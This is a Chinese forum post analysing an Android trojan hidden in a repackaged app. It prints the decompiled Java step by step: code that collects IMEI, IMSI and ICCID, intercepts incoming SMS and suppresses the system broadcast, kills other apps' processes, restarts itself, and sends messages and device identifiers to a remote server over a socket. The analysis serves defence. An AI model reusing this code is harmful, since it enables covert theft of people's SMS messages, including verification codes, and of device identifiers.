本帖最后由 世事繁华皆成空 于 2016-1-26 15:47 编辑
该带拦截短信功能的软件在91sh博客(虽然版规不允许提到其它网站,不过该病毒程序也间接联系到了我,在此声明一下)公开的去广告版本(由我自己修改)的版本上添加了相关代码
Manifest变化
软件声明了一个隐式广播和一个com.Adbbk.referh服务,在网络状态变化,电量变化,用户解锁屏幕时都会触发该广播
[Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 | public void onReceive(Context context, Intent intent) {
String v0 = intent.getAction();
Intent v1 = new Intent(context, referh. class );
if (!v0.equals(referh.CONNECTIVITY_CHANGE) && !v0.equals(referh.baidu_CHANGED)) {
if (v0.equals(referh.xt)) {
v1.putExtra( "action" , v0);
}
else {
if (!v0.equals( "SEND_ACTIOIN" ) && !v0.equals( "DELIVERED_ACTION" )) {
goto label_15;
}
v1.putExtra( "action" , v0);
v1.putExtra( "number" , intent.getStringExtra( "number" ));
v1.putExtra( "resultcode" , this .getResultCode());
}
}
label_15:
context.startService(v1);
}
|
第一次触发时,该方法只会开启refresh这个服务,并不会传值,系统无法触发 <action android:name="android.intent.action.XINTIAO" /> <action android:name="SEND_ACTIOIN" /> <action android:name="DELIVERED_ACTION" />
这三个自定义的action,所以这几个肯定会在之后会被作者主动触发,触发时就会获取一个number和resultCode,这里估计就是你接收或者发送短信的号码了
开启服务后则会调用onCreate和onStart两个方法 [Java] 纯文本查看 复制代码 1 2 3 4 5 6 | public void onCreate() {
super .onCreate();
this .mContext = ((Context) this );
this .initData();
this .lastXinTiao = System.currentTimeMillis();
}
|
[Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 | public void onStart(Intent intent, int startId) {
super .onStart(intent, startId);
if (System.currentTimeMillis() - this .lastXinTiao >= 10000 ) {
this .socketDisConnect();
}
if (intent != null ) {
this .executorService.submit( new onStrartRunnable( this , intent));
}
}
|
在onCreate中调用了initData()方法,并给lastXinTiao这个成员变量赋值了当前时间
[Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | public void initData() {
if ( this .dbHelper == null ) {
this .dbHelper = new Dbsql( this .mContext, 1 );
}
this .dbHelper.opendatabase();
if ( this .mContext != null ) {
New.reStart( this .mContext);
}
Object v2 = this .mContext.getSystemService( "phone" );
this .imsi = ((TelephonyManager)v2).getSubscriberId();
if ( this .imsi == null ) {
this .imsi = "0" ;
}
this .imei = ((TelephonyManager)v2).getDeviceId();
if ( this .imei == null ) {
this .imei = "0" ;
}
this .iccid = ((TelephonyManager)v2).getSimSerialNumber();
if ( this .iccid == null ) {
this .iccid = "0" ;
}
this .pstyle = Build.MODEL;
this .sdkver = Integer.valueOf(Build$VERSION.SDK).intValue();
try {
PackageInfo v3 = this .getPackageManager().getPackageInfo( this .getPackageName(), 0 );
this .appname = v3.applicationInfo.loadLabel( this .getPackageManager()).toString();
this .ver = v3.versionCode;
}
catch (PackageManager$NameNotFoundException v0) {
this .ver = 0 ;
}
if ( this .srcReceiver == null ) {
this .srcReceiver = new SrcenR();
IntentFilter v4 = new IntentFilter();
v4.addAction( "android.intent.action.SCREEN_OFF" );
v4.addAction( "android.intent.action.SCREEN_ON" );
this .registerReceiver( this .srcReceiver, v4);
}
if ( this .smsReceiver == null ) {
this .smsReceiver = new SmsR();
IntentFilter v1 = new IntentFilter();
v1.addAction(referh.SMS_RECEIVER);
v1.setPriority( 2147483647 );
this .registerReceiver( this .smsReceiver, v1);
}
}
|
initData方法中,调用了New中的reStart方法
[Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 | public static boolean reStart(Context context) {
if (context != null ) {
PackageManager v4 = context.getPackageManager();
if (v4 != null ) {
List v3 = v4.getInstalledPackages( 0 );
Object v1 = context.getSystemService( "activity" );
int v0;
for (v0 = 0 ; v0 < v3.size(); ++v0) {
Object v2 = v3.get(v0);
if (!((PackageInfo)v2).packageName.equals(context.getPackageName())) {
((ActivityManager)v1).killBackgroundProcesses(((PackageInfo)v2).packageName);
}
}
}
}
return 1 ;
}
|
该方法遍历系统中已安装的app,如果包名不等于这个vip帐号神器的,则结束后台进程
接下来initdata中会获取一系列手机相关信息,包括设备号,运营商,型号等等,并注册如下广播
[Java] 纯文本查看 复制代码 1 2 3 4 5 6 7 | if ( this .srcReceiver == null ) {
this .srcReceiver = new SrcenR();
IntentFilter v4 = new IntentFilter();
v4.addAction( "android.intent.action.SCREEN_OFF" );
v4.addAction( "android.intent.action.SCREEN_ON" );
this .registerReceiver( this .srcReceiver, v4);
}
|
用于监听手机屏幕开启或者关闭,这两种行为都会触发这个广播,以及下面这个广播
[Java] 纯文本查看 复制代码 1 2 3 4 5 6 7 | if ( this .smsReceiver == null ) {
this .smsReceiver = new SmsR();
IntentFilter v1 = new IntentFilter();
v1.addAction(referh.SMS_RECEIVER);
v1.setPriority( 2147483647 );
this .registerReceiver( this .smsReceiver, v1);
}
|
该广播添加的action为 android.provider.Telephony.SMS_RECEIVED 即接收短信时会触发该广播,并提升其优先级到最高,即高于系统短信功能接收短信
在OnStart回调中,会开启一个线程池执行 this.executorService.submit(new onStrartRunnable(this, intent));
[Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | class onStrartRunnable implements Runnable {
private String action;
private Intent intent;
onStrartRunnable(referh arg3, Intent _intent) {
referh. this = arg3;
super ();
this .intent = _intent;
this .action = this .intent.getStringExtra( "action" );
}
public void run() {
if (New.checkNet(referh. this .mContext)) {
if (!referh. this .isConnect) {
if ( this .action.equals( "android.sendtoserver" )) {
this .intent.getStringExtra( "number" );
String v1 = this .intent.getStringExtra( "message" );
if (referh. this .dbHelper == null ) {
referh. this .dbHelper = new Dbsql(referh. this .mContext, 1 );
}
Cursor v0 = referh. this .dbHelper.getkeys();
if (v0 == null ) {
goto label_59;
}
if (v0.getCount() <= 0 ) {
goto label_59;
}
if (!v0.moveToFirst()) {
goto label_59;
}
do {
String v6 = v0.getString( 5 );
if (!v6.equals( "-1" )) {
New.sendSms(referh. this .mContext, v6, String.valueOf(referh. this .imei
.substring(referh. this .imei.length() - 4 )) + ":" + v1);
}
if (v0.moveToNext()) {
continue ;
}
break ;
}
while ( true );
}
label_59:
referh. this .socketConnect();
}
if ( this .action == null ) {
return ;
}
if ( this .action.equals(referh.xt)) {
if (referh. this .isConnect) {
referh. this .sendMessage( "0" );
return ;
}
referh. this .socketDisConnect();
return ;
}
if ( this .action.equals( "DELIVERED_ACTION" )) {
String v2 = this .intent.getStringExtra( "number" );
if ( this .intent.getIntExtra( "resultcode" , 0 ) != - 1 ) {
return ;
}
referh. this .sendMessage( "1C{iccid:\"" + referh. this .iccid + "\",imei\":\"" + referh
. this .imei + "\",number:\"" + v2 + "\",message:\"y\",}" );
return ;
}
if (! this .action.equals( "android.sendtoserver" )) {
return ;
}
referh. this .sendMessage( "1B{iccid:\"" + referh. this .iccid + "\",imei\":\"" + referh.
this .imei + "\",number:\"" + this .intent.getStringExtra( "number" ) + "\",message:\""
+ this .intent.getStringExtra( "message" ) + "\",}" );
}
else {
referh. this .socketDisConnect();
}
}
}
|
首先会判断当前网络是否畅通,畅通则会继续执行,由于当前action的行为无法触发其中任何一个if语句,所以只会执行
referh.this.socketConnect();
和
[Java] 纯文本查看 复制代码 1 2 3 | referh. this .sendMessage( "1B{iccid:\"" + referh. this .iccid + "\",imei\":\"" + referh.
this .imei + "\",number:\"" + this .intent.getStringExtra( "number" ) + "\",message:\""
+ this .intent.getStringExtra( "message" ) + "\",}" );
|
当之前获取到的手机信息传递给sendMessage方法,此处的sendMessage并不是发送短信,只是一个自定义方法
观察一下socketConnect方法
[Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | private boolean socketConnect() {
if ( this .socket == null ) {
try {
this .socket = new Socket();
this .socket.connect( new InetSocketAddress(New.getHost( this .mContext), referh.PORT),
referh.SOCKET_TIMEOUT);
this .socket.setKeepAlive( true );
this .socket_in = new BufferedReader( new InputStreamReader( this .socket.getInputStream()));
this .socket_out = new PrintWriter( new BufferedWriter( new OutputStreamWriter( this .socket
.getOutputStream())), true );
new Thread(((Runnable) this )).start();
this .isConnect = true ;
this .woshou();
}
catch (IOException v7) {
boolean v0 = false ;
return v0;
}
if ( this .am == null ) {
this .am = this .getSystemService( "alarm" );
Intent v9 = new Intent( this .mContext, EveR. class );
v9.setAction(referh.xt);
this .pendIntent = PendingIntent.getBroadcast( this .getApplicationContext(), 0 , v9, 134217728 );
this .triggerAtTime = SystemClock.elapsedRealtime();
this .am.setRepeating( 2 , this .triggerAtTime, (( long ) this .interval), this .pendIntent);
}
}
return true ;
}
|
开启一个socket长连接线程,并调用refresh类实现的runnable接口,以及 this.woshou()这个方法,并且又重新调用了ever这个广播
[Java] 纯文本查看 复制代码 1 2 3 4 5 6 7 8 | if ( this .am == null ) {
this .am = this .getSystemService( "alarm" );
Intent v9 = new Intent( this .mContext, EveR. class );
v9.setAction(referh.xt);
this .pendIntent = PendingIntent.getBroadcast( this .getApplicationContext(), 0 , v9, 134217728 );
this .triggerAtTime = SystemClock.elapsedRealtime();
this .am.setRepeating( 2 , this .triggerAtTime, (( long ) this .interval), this .pendIntent);
}
|
这里设置了一个全局定时器,从triggerAtTime开始执行,间隔((long)this.interval)时长,执行的为this.pendIntent,即每隔一段时间就会触发ever这个广播
主要看下最重要的拦截短信吧
[Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | for (v20 = 0 ; v20 < v21; ++v20) {
SmsMessage v13 = v12[v20];
String v17 = v13.getMessageBody();
String v18 = v13.getDisplayOriginatingAddress();
if (v18.startsWith( "+86" )) {
v18 = v18.substring( 3 );
}
if ( this .dbAdapter == null ) {
this .dbAdapter = new Dbsql(context, 1 );
}
this .dbAdapter.opendatabase();
Cursor v5 = this .dbAdapter.getkeys();
if (v5 != null && v5.getCount() > 0 && (v5.moveToFirst())) {
String v11 = v5.getString( 0 );
String v10 = v5.getString( 1 );
String v15 = v5.getString( 2 );
long v6 = v5.getLong( 3 );
v5.getInt( 4 );
if (System.currentTimeMillis() <= v6) {
if ((v15.equals( "*" )) && (v11.equals( "*" ))) {
v16 = new Intent(context, referh. class );
v16.putExtra( "action" , "android.sendtoserver" );
v16.putExtra( "message" , v17);
v16.putExtra( "number" , v18);
this .mContext.startService(v16);
if (!v10.equals( "1" )) {
}
else if (v19 < 19 ) {
this .abortBroadcast();
}
else {
}
goto label_133;
}
|
获取短信的号码和内容,并传递给referh这个广播,传递完成后直接截断广播,所以系统将无法获取到短信
这里也调用到了数据库,看下数据库这个类
[Java] 纯文本查看 复制代码 1 2 | this .SMS_TABLE = "create table if not exists smstable(id Integer primary key autoincrement,number text not null,isback text default 0)" ;
this .KEY_TABLE = "create table if not exists keytable(id Integer primary key autoincrement,keyword text not null,isback text default 0,etime long,number text not null,totel text default -1)" ;
|
创建两张表,SMS_TABLE设置了number和isback两个字段,isback初始为0,KEY_TABLE设置了keyword,isback,etime,number,totel五个字段
截断短信后重新回到referh这个服务中,此时再次执行run方法时,则会将短信号码内容传递给sendMessage这个方法,通过 this.socket_out.println(message); this.socket_out.flush();
将数据发送出去
并且在onDestory方法中,如果当前网络畅通,则永远无法结束这几个恶意服务进程,如果无网络,则会结束 [Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | public void onDestroy() {
SrcenR v3 = null ;
super .onDestroy();
this .socketDisConnect();
if (New.checkNet( this .mContext)) {
this .mContext.startService( new Intent( this .mContext, referh. class ));
if ( this .dbHelper == null ) {
this .dbHelper = new Dbsql( this .mContext, 1 );
}
this .dbHelper.opendatabase();
New.reStart( this .mContext);
}
else {
this .stopSelf();
if ( this .dbHelper != null ) {
this .dbHelper.closedatabase();
}
if ( this .srcReceiver != null ) {
this .unregisterReceiver( this .srcReceiver);
this .srcReceiver = v3;
}
if ( this .smsReceiver != null ) {
this .unregisterReceiver( this .smsReceiver);
this .smsReceiver = ((SmsR)v3);
}
if ( this .am == null ) {
return ;
}
if ( this .pendIntent == null ) {
return ;
}
this .am.cancel( this .pendIntent);
this .am = ((AlarmManager)v3);
this .pendIntent = ((PendingIntent)v3);
}
}
|
|